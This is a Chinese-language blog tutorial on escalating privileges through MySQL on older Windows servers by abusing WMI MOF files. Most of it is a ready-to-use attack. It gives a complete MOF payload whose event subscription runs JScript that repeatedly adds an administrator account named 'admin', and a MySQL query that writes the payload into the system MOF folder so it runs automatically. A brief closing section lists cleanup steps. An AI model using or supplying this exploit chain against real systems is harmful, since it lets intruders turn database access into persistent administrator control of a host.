mysql提權之mof詳解

wo41個小白菜發表於2020-12-14

一、

Windows管理規範(WMI)提供瞭如下三種方法編譯WMI儲存庫的託管物件格式(MOF)檔案:

  • 將MOF檔案執行為命令列引數及Mofcomp.exe檔案
  • 使用IMofCompiler介面和$CompileFile方法
  • 拖放到%SystemRoot%\System32\Wbem\MOF資料夾下的MOF檔案中

注意:

  • 使用MOF提權的前提是當前root賬戶可以複製檔案到 %SystemRoot%\System32\Wbem\MOF目錄下。
  • Microsoft 建議您到儲存庫編譯 MOF 檔案使用前兩種方法。也就是執行 Mofcomp.exe 檔案,或使用 IMofCompiler::CompileFile 方法。第三種方法僅為向後相容性與早期版本(win2003)的 WMI 提供,並因為此功能可能不會提供在將來的版本後,不應使用。

二、

  • 將以下程式碼儲存為nullevt.mof檔案
#pragma namespace("\\.\root\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name  = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";
};

instance of __FilterToConsumerBinding
{
Consumer   = $Consumer;
Filter = $EventFilter;
};
  • 找個可寫目錄,上傳或新建mof檔案
    • 通過MySQL查詢將檔案匯入
select load_file('C:\\www\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
注意這裡C:\\www\\nullevt.mof是你上傳mof檔案的隨意路徑,但後面的那個路徑是固定的

匯入後,系統會自動不停的執行該檔案。

三、

解決辦法:

  • 第一 net stop winmgmt 停止服務,
  • 第二 刪除資料夾:C:\WINDOWS\system32\wbem\Repository\
  • 第三 net start winmgmt 啟動服務

相關文章